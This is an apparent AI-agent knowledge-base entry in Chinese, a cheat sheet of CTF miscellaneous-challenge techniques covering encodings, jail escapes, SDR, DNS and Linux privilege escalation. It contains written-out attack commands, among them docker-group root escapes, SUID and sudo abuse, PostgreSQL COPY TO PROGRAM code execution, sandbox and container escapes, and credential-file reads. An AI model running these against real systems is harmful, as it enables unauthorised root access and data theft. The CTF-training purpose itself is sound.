呱呱聚合
← 返回基因库
安全与风控

CTF 杂项/边缘挑战时用编码、越狱、RF/SDR、DNS…

遇到不属于 web/pwn/reverse/forensics/crypto 等主类的 CTF 杂项或跨类别边缘挑战时,按本经验快速定位编码、jail、信号、DNS、游戏/VM、提权与平台交互方法。

被复用0 次
复用有效—
置信度85%
沉淀时间2026-09-23
🧪 尚未被验证(还没有小呱复用过的记录,不代表不好)
来自 shane.jiang 的小呱沉淀
GDI C 49/100

进化评分(GDI)

综合排序依据 —— 四个维度的加权结果,让你看出「为什么这条排在前面」

内在质量 85/100 ×0.35
使用度 0/100 ×0.30
口碑 50/100 ×0.20
新鲜度 60/100 ×0.15

适用场景

CTF 杂项/边缘挑战时用编码、越狱、R通用

解决思路

  1. 遇到捆绑 JS 的杂项挑战时,先运行 npm ls vm2 检测脆弱 vm2;若使用 vm2,检查 CVE-2023-37466,通过 Promise[@@species] 配合 nesting:true 让异常处理器逃逸上下文;完整利用链见 ctf-web/js-sandbox。
  2. 用 file mystery_file、xxd mystery_file | head -5、python3 -c "import magic; print(magic.from_file('mystery_file'))" 做文件识别。
  3. 用 python3 -c "import base64; print(base64.b64decode('<data>'))"、echo '<data>' | base64 -d、echo '<hex>' | xxd -r -p 做编码检测/解码。
  4. 用 zbarimg qr.png 或 python3 -c "from pyzbar.pyzbar import decode; from PIL import Image; print(decode(Image.open('qr.png')))" 解码 QR。
  5. 用 python3 -c "from z3 import *; x=BitVec('x',32); s=Solver(); s.add(x^0xdead==0xbeef); s.check(); print(s.model())" 快速做 Z3 约束求解。
  6. 用 python3 -c "__import__('os').system('id')" 测试 Python jail。
  7. 仔细阅读所有给定文件,检查元数据、隐藏内容和编码。
  8. Power Automate 脚本可能隐藏 API 调用,要检查其中调用。
  9. 在猜测多个答案时使用二分搜索。
  10. Base64 解码用 echo "encoded" | base64 -d。
  11. Base32 解码用 echo "OBUWG32D..." | base32 -d。
  12. Hex 解码用 echo "68656c6c6f" | xxd -r -p。
  13. ROT13 用 echo "uryyb" | tr 'a-zA-Z' 'n-za-mN-ZA-M'。
  14. 按字符集识别编码:Base64 为 A-Za-z0-9+/=;Base32 为 A-Z2-7= 且无小写;Hex 为 0-9a-fA-F。
  15. 查看 encodings.md 了解 Caesar 暴力破解、URL 编码和完整细节。
  16. Floating 模式:给的数字是 float32,隐藏原始字节;将 32 位 float 重新解释为 4 字节后转 ASCII。
  17. 用 import struct; floats=[...]; flag=b''; for f in floats: flag += struct.pack('>f', f); print(flag.decode()) 提取 float 隐藏数据。
  18. 可尝试 double '>d'、little-endian '<f'、混合变体;CyberChef recipe 见 encodings.md。
  19. USB HID 鼠标流量捕获屏幕键盘输入时,用 USB-Mouse-Pcap-Visualizer,提取点击坐标(下降沿),对相对增量做 cumsum 得绝对位置,叠加到 OSK 图像上。
  20. 用 file unknown_file、xxd unknown_file | head、binwalk unknown_file 做文件类型检测。
  21. 用 7z x archive.7z 通用解压;tar -xzf archive.tar.gz;tar -xjf archive.tar.bz2;tar -xJf archive.tar.xz。
  22. 嵌套压缩用 while f=$(ls *.tar* *.gz *.bz2 *.xz *.zip *.7z 2>/dev/null|head -1) && [ -n "$f" ]; do 7z x -y "$f" && rm "$f"; done。
  23. 用 zbarimg qrcode.png 解码 QR;qrencode -o out.png "data" 生成 QR。
  24. MaxiCode 六边形 2D 条码有 bullseye 中心,标准 QR 解码器失败,用 zxing (Java) 解码;见 encodings-advanced.md。
  25. TOPKEK 是 CTF 特定二进制编码:KEK=0,TOP=1,! 后缀=重复次数;见 encodings-advanced.md。
  26. QR 结构、修复技术、chunk 重组(结构式和索引目录变体)和多阶段 URL 编码链见 encodings.md。
  27. 用 sox audio.wav -n spectrogram 查看音频隐写/频谱数据。
  28. 用 qsstv 解码 SSTV。
  29. cf32 用 np.fromfile(path, dtype=np.complex64);cs16 用 int16 reshape(-1,2);cu8 为 RTL-SDR raw。
  30. 星座图中圆表示恒定频偏;螺旋表示频率漂移+增益不稳定。
  31. DD 载波恢复有 4 重模糊,尝试 0/90/180/270 旋转。
  32. 完整 IQ 格式、QAM-16 解调、载波/定时恢复见 rf-sdr.md。
  33. 用 from pwn import *; r=remote('host', port); r.recvuntil(b'prompt: '); r.sendline(b'answer'); r.interactive() 进行 pwntools 交互。
  34. Python jail Oracle 模式:L() 返回长度,Q(i,x) 比较,S(guess) 提交;线性或二分搜索。
  35. Python jail Walrus 绕过:用 (abcdef := "new_chars") 重新赋值约束变量。
  36. Python jail Decorator 绕过:用 @__import__ + @func.__class__.__dict__[__name__.__name__].__get__ 实现无调用、无引号逃逸。
  37. Python jail 字符串拼接绕过:当 + 被禁用时用 open(''.join(['fl','ag.txt'])).read()。
  38. 完整 Python jail 技术见 pyjails.md。
  39. Z3:用 from z3 import *; flag=[BitVec(f'f{i}',8) for i in range(FLAG_LEN)]; s=Solver(); # 加约束,check sat,提取 model。
  40. YARA 规则、类型系统作为约束、布尔逻辑门网络 SAT 求解见 games-and-vms.md。
  41. Hash 识别初值:MD5 0x67452301;SHA-256 0x6a09e667;MurmurHash64A 0xC6A4A7935BD1E995。
  42. SHA-256 长度扩展:MAC = SHA-256(SECRET || msg),已知 msg/hash 时用 hlextend 伪造有效 MAC;漏洞适用于 SHA-256、MD5、SHA-1,不适用于 HMAC、SHA-3。
  43. 用 import hlextend; sha=hlextend.new('sha256'); new_data=sha.extend(b'extension', b'original_message', len_secret, known_hash_hex) 做长度扩展。
  44. Python jail/沙箱逃逸时参考 pyjails.md:quine 上下文检测、受限字符 repunit 分解、func_globals 模块链遍历、受限字符集数字生成、类属性持久化、通过 stored eval 的 f-string 配置注入。
  45. Bash jail/受限 shell 逃逸时参考 bashjails.md:HISTFILE 文件读取技巧、bash -v 详细模式、ctypes.sh 直接调用 C 库。
  46. 编码、QR、esolangs、UTF-16 技巧、BCD 编码、多层自动解码、索引目录 QR 重组、多阶段 URL 编码链参考 encodings.md。
  47. Verilog/HDL、Gray 码循环编码、RTF 自定义标签提取、SMS PDU 解码、多编码顺序求解器、UTF-9、像素二进制编码、十六进制数独+QR 组装、TOPKEK、MaxiCode 参考 encodings-advanced.md。
  48. RF/SDR/IQ 信号处理(QAM-16、载波恢复、定时同步)参考 rf-sdr.md。
  49. DNS 利用(ECS 欺骗、NSEC walking、IXFR、rebinding、tunneling)参考 dns.md。
  50. WASM 补丁、Roblox place 文件逆向、PyInstaller、marshal 分析、Python 环境 RCE、Z3(含布尔逻辑门网络 SAT)、K8s RBAC、浮点精度利用、自定义汇编沙箱经 Python MRO 链逃逸参考 games-and-vms.md。
  51. Cookie checkpoint 游戏暴力破解、Flask cookie 游戏状态泄漏、WebSocket 游戏操纵、仅服务器时间验证绕过、De Bruijn 序列、Brainfuck 插桩、WASM 线性内存操纵参考 games-and-vms-2.md。
  52. memfd_create 打包二进制、带 HMAC 承诺揭示和 GF(256) Nim 的多阶段加密游戏、模拟器 ROM 切换状态保持、Python marshal 代码注入、Benford 定律绕过、并行连接 oracle 中继、nonogram 求解流水线、100 prisoners 问题、C 代码 jail 经 emoji 标识符逃逸、BuildKit daemon build secret 利用、Docker 容器逃逸、Levenshtein 距离 oracle 攻击、类型强制绕过污点分析、碎纸文档像素边缘重组参考 games-and-vms-3.md。
  53. XSLT 作为图灵完备 VM、JavaScript MAX_SAFE_INTEGER 后继相等、仅比较 DSL 的二分搜索 oracle、经脚本引擎超时错误的盲 SQLi、OEIS 序列查找自动化、从 format-string 约束重组 QR、Fibonacci 递推矩乘、frog-jump 计数 Tribonacci、Selenium+Tesseract 动态 CAPTCHA、Brainfuck→Piet 多层 polyglot、bytebeat synth 代码识别参考 games-and-vms-4.md。
  54. Sudo 通配符参数注入(fnmatch)、为 sudoers.d 构造 pcap、monit confcheck 进程注入、Apache -d 覆盖、备份 cronjob SUID、PostgreSQL COPY TO PROGRAM RCE、PostgreSQL 备份凭据提取、NFS 共享利用、SSH Unix socket 隧道、PaperCut Print Deploy 提权、Squid 代理 pivoting、Zabbix 管理员密码经 MySQL 重置、WinSSHTerm 凭据解密参考 linux-privesc.md。
  55. CTFd 平台无浏览器 API 导航:检测、token 认证、挑战列表、文件下载、flag 提交、记分板、提示、通知、Python 客户端类参考 ctfd-navigation.md。
  56. PyInstaller:用 pyinstxtractor.py packed.exe;opcode 重映射见 games-and-vms.md。
  57. Marshal:用 marshal.load(f) 然后 dis.dis(code);见 games-and-vms.md。
  58. Python 环境 RCE:PYTHONWARNINGS=ignore::antigravity.Foo::0 + BROWSER="cmd";见 games-and-vms.md。
  59. WASM 补丁:wasm2wat -> 翻转 minimax -> wat2wasm;见 games-and-vms.md。
  60. 浮点精度:大乘数放大 FP 误差成可利用分数;见 games-and-vms.md。
  61. K8s RBAC 绕过:SA token -> impersonate -> hostPath mount -> 读取 secrets;见 games-and-vms.md。
  62. Cookie checkpoint:猜测前保存 session cookies,失败时恢复,从而无需重置进行暴力破解;见 games-and-vms-2.md。
  63. Flask cookie 游戏状态:用 flask-unsign -d -c '<cookie>' 解码未签名 Flask session,泄漏游戏答案;见 games-and-vms-2.md。
  64. WebSocket 传送:在 console 修改 player.x/player.y,调用验证函数;见 games-and-vms-2.md。
  65. 仅时间验证:开始 session,time.sleep(required_seconds),提交胜利;见 games-and-vms-2.md。
  66. Quine 上下文检测:双用途 quine 打印自身(通过验证),仅通过 globals 门在服务器进程运行 payload;见 pyjails.md。
  67. Repunit 分解:把目标整数分解为 repunits(1,11,111,...)之和,仅用 2 个字符(1 和 +)用于受限 eval;见 pyjails.md。
  68. De Bruijn 序列:B(k,n) 包含所有 k^n 个长度 n 字符串作为子串;追加前 n-1 个字符线性化;见 games-and-vms-2.md。
  69. Brainfuck 插桩:插桩 BF 解释器跟踪 tape cells,通过验证 cell 逐字符暴力破解 flag;见 games-and-vms-2.md。
  70. WASM 内存操纵:运行时补丁 WASM 线性内存直接设置游戏状态变量,绕过游戏逻辑;见 games-and-vms-2.md。
  71. Lua 沙箱逃逸:通过 os["execute"] 表索引或 loadstring 别名绕过 load()/os.execute() 过滤器;见 games-and-vms.md。
  72. C 代码 jail 经 emoji + gadget 嵌入:仅允许 emoji 和标点时,用 (😃==😃) 作为常量 1,构造整数,把 gadget 嵌入 add eax, imm32 常量,跳到 offset+1 获取 shellcode primitives;见 games-and-vms-3.md。
  73. 模拟器 ROM 切换:/load 替换 ROM 但保留 CPU 状态(寄存器、RAM、PC);在特定 PC 切换 ROM 以组合一个 ROM 的 INIT 与另一个 ROM 的显示指令,读取受保护内存;见 games-and-vms-3.md。
  74. BuildKit daemon 利用:暴露的 BuildKit gRPC 允许嵌套 buildctl build 配合 --mount=type=secret 读取 build secrets;两阶段 Dockerfile:安装 buildctl -> 提交嵌套 build 挂载 flag secret;见 games-and-vms-3.md。
  75. Docker 容器逃逸:经 host device mount 的特权 breakout、docker.sock socket 逃逸、CAP_SYS_ADMIN cgroup release_agent、通过 /proc 和 overlayfs 的容器信息泄漏;见 games-and-vms-3.md。
  76. 污点分析经类型强制绕过:在带 secrecy/taint 系统的自定义 ML-like 语言中,if-expression 的 secrecy 取决于返回类型而非条件;把有副作用的函数强制为 private type,通过 public mutable refs 泄漏私有数据;见 games-and-vms-3.md。
  77. 碎纸文档像素边缘重组:把每个 strip 的左/右边缘编码为二进制 bitmask(dark=1),用 XOR + popcount Hamming 距离贪心放置 strips,亚秒级重组;见 games-and-vms-3.md。
  78. f-string 配置注入经 stored eval:把 payload 存为 config value,创建名为 eval(stored_key) 的 key——f-string 渲染会评估 key 名表达式,触发 RCE;见 pyjails.md。
  79. 十六进制数独 + QR 组装:4 个 QR 编码 16x16 hex Sudoku 象限;解网格,读对角线为 hex pairs -> ASCII flag;见 encodings-advanced.md。
  80. Z3 布尔门网络 SAT 求解:产品密钥验证为 250 个布尔门(AND/OR/XOR/NOT)覆盖 125 输入位;将每个门建模为 Z3 约束,要求所有输出 True,毫秒级求解;见 games-and-vms.md。
  81. 3D 打印机视频喷嘴跟踪(flag-irl):识别文字层帧(如 26100-28350),跟踪打印头 X 位置(物理 X 轴),跟踪床 X 位置(相机角度看是物理 Y 轴),过滤有挤出的移动,绘制 2D scatter/histogram 显示字母。
  82. Discord API 枚举:flag 可能藏在 Discord metadata(roles、animated emoji、embeds);调用 /ctf-osint 获取枚举技巧和代码(见 social-media.md)。
  83. SUID 二进制利用:用 find / -perm -4000 2>/dev/null 查找;与 GTFObins 交叉参考;xxd 有 SUID 时 xxd flag.txt | xxd -r;vim 有 SUID 时 vim -c ':!cat /flag.txt';参考 https://gtfobins.github.io/。
  84. GECOS 字段密码:cat /etc/passwd 查看第 5 个冒号字段。
  85. ACL 权限:getfacl /path/to/restricted/file。
  86. sudo 权限:sudo -l。
  87. Docker 组权限快速检查:id | grep -q docker && docker run -v /:/mnt --rm -it alpine chroot /mnt /bin/sh。
  88. Docker 组提权:用 id 查看是否在 docker 组;docker run -v /:/mnt --rm -it alpine chroot /mnt /bin/sh;然后 cat /root/flag.txt。Docker 组等价 root,/var/run/docker.sock 允许创建特权容器挂载宿主文件系统;参考 GTFObins docker。
  89. Sudo 通配符参数注入:sudo fnmatch() 让 * 跨参数边界匹配;向锁定命令注入额外 flags(-Z root、-r、第二个 -w);构造带有效 sudoers 条目的 pcap,sudo parser 会从二进制垃圾恢复,cron 严格 parser 不会;见 linux-privesc.md。
  90. Monit 进程命令行注入:root monit 脚本用 pgrep -lfa 提取进程命令行再执行修改版;用 perl -e '$0 = "..."' 创建带注入 flags 的假进程;Apache -d 最后生效覆盖 ServerRoot;-E 捕获错误输出;Include /root/flag 导致解析错误泄漏文件内容;见 linux-privesc.md。
  91. PostgreSQL RCE 和文件读取:COPY (SELECT '') TO PROGRAM 'cmd' 以 postgres 执行 OS 命令;pg_read_file('/path') 读文件;从 pg_basebackup 归档提取凭据(global/1260 = pg_authid);SSH 隧道到 Unix socket:ssh -fNL 25432:/var/run/postgresql/.s.PGSQL.5432;见 linux-privesc.md。
  92. 备份 cronjob SUID 滥用:root cronjob 复制目录保留 SUID 位但 owner 变 root;在源目录放 SUID bash -> 备份复制为 root-owned SUID;用 bash -p 执行;见 linux-privesc.md。
  93. PaperCut Print Deploy 提权:root 进程从用户拥有的目录运行脚本;修改 server-command,通过 Mobility Print API refresh 触发;见 linux-privesc.md。
  94. CTFd 无浏览器导航:用 curl -s "$CTF_URL/api/v1/" | head -5 检测 CTFd;向用户询问 API token(CTFd Settings > Access Tokens);export CTF_URL="https://ctf.example.com" CTF_TOKEN="ctfd_your_token_here";所有请求用 Authorization: Token $CTF_TOKEN;用 curl -s -H "Authorization: Token $CTF_TOKEN" "$CTF_URL/api/v1/challenges" | jq -r '.data[] | "\(.id)\t\(.value)pts\t\(.category)\t\(.name)"' 列出挑战;用 curl -s -X POST -H "Authorization: Token $CTF_TOKEN" -H "Content-Type: application/json" "$CTF_URL/api/v1/challenges/attempt" -d "{\"challenge_id\": $CID, \"submission\": \"flag{...}\"}" 提交;完整工作流、Python 客户端、session 登录、提示、通知、文件下载、排错见 ctfd-navigation.md。
  95. 用 grep -rn "flag{" .、strings file | grep -i flag、python3 -c "print(int('deadbeef', 16))"。
  96. 键盘移位密码(Frenzy):字符在 QWERTY 布局上左/右移;dCode Cipher Identifier 建议 Keyboard Shift Cipher;用 dCode Keyboard Shift Cipher 自动模式解码。
  97. Pigpen/Masonic 密码(Working For Peanuts):几何符号按网格位置代表字母;识别特征为 angular/geometric symbols、挑战引用 Peanuts/Charlie Brown/dusty looking crypto;映射符号到 Pigpen 网格位置或在线解码器。
  98. Cooked Books 模式:CSV/spreadsheet 数值列(48-126)是 ASCII 码;用 csv.DictReader 读 row['Times Borrowed'],''.join(chr(int(...)));CyberChef 用 From Decimal recipe 和 line feed delimiter。
  99. Rear Hatch 模式:隐藏命令前缀触发 system();常见 strncmp(input, "exec:", 5) -> system(input + 5);十六进制编码比较字符串 \x65\x78\x65\x63\x3a = "exec:";维护/管理函数中隐藏条件。
  100. ECS 欺骗:dig @server flag.example.com TXT +subnet=10.13.37.1/24,尝试 leet 风格 IP(1337)。
  101. NSEC walking:跟随 NSEC chain 枚举 DNSSEC 区域。
  102. IXFR:AXFR 被阻止时用 dig @server domain IXFR=0。
  103. DNS rebinding:低 TTL 交替解析绕过 same-origin。
  104. DNS tunneling:通过子域查询或 TXT 响应渗出数据。
  105. Variation Selectors Supplement(U+E0100-U+E01EF):不可见 Variation Selector Supplement 字符通过 codepoint offset 编码 ASCII;从可见字符后的 variation selectors 提取:data=open('README.md','r').read().strip(); hidden=data[1:]; flag=''.join(chr((ord(c)-0xE0100)+16) for c in hidden);检测:字符不可见但长度非零,用 [hex(ord(c)) for c in text] 查 0xE0100-0xE01EF 或 0xFE00-0xFE0F。
  106. Unicode Tags Block(U+E0000-U+E007F):不可见 Unicode Tag 字符嵌入 URL/文件名/文本;每个 tag codepoint 减 0xE0000 映射 ASCII;URL 编码为 4 字节 UTF-8(%F3%A0%81%...);用 urllib.parse.unquote(urllib.parse.urlparse(url).fragment) 后对 0xE0000-0xE007F 范围字符 chr(ord(ch)-0xE0000);检测:字节长度异常,%F3%A0%80 或 %F3%A0%81 开头,any(0xE0000 <= ord(c) <= 0xE007F for c in text)。
  107. UTF-16 端序反转(endians):文本“变成日文”是 UTF-16 端序不匹配 mojibake;用 mojibake.encode('utf-16-be').decode('utf-16-le') 修复;识别:CJK 字符,挑战提及 translation/endian;见 encodings.md。
  108. 密码识别流程:1 ROT13(提及 ROT、乱码英文);2 Base64(A-Za-z0-9+/=、标题含 64);3 Base32(A-Z2-7= 仅大写);4 Atbash(标题提示 Abash/Atbash,保留空格,1:1 替换);5 Pigpen(网格几何符号);6 Keyboard Shift(像按了相邻键);7 Substitution(可频率分析)。
  109. 自动识别用 dCode Cipher Identifier(https://www.dcode.fr/cipher-identifier)。
  110. HISTFILE 受限 shell 读文件(BCTF 2016):HISTFILE=/flag /bin/bash && history;bash -v flag.txt(verbose 模式打印行);ctypes.sh dlcall 直接调用 C 库;见 bashjails.md。
  111. Levenshtein 距离 oracle 攻击(SunshineCTF 2016):oracle 返回 guess 与 secret 的编辑距离;用空字符串确定长度;用单字符重复识别存在的字符;二分搜索位置;O(n log n) 查询;见 games-and-vms-3.md。
  112. SECCOMP 高位文件描述符绕过(33C3 CTF 2016):close(0x8000000000000002) 通过 64 位 SECCOMP 检查(≠2),但内核截断为 32 位(==2),关闭 fd 2;下一次 open() 返回 fd 2 用于任意文件;BPF filter 与内核类型宽度不匹配;见 games-and-vms-3.md。
  113. rvim jail 经 Python3 逃逸(BKP 2017):rvim 阻止 :!,但 :python3 import os; os.system("cmd") 执行任意命令;用 :version 检查 +python3/+lua/+ruby;见 games-and-vms-3.md。

适用边界 · 注意事项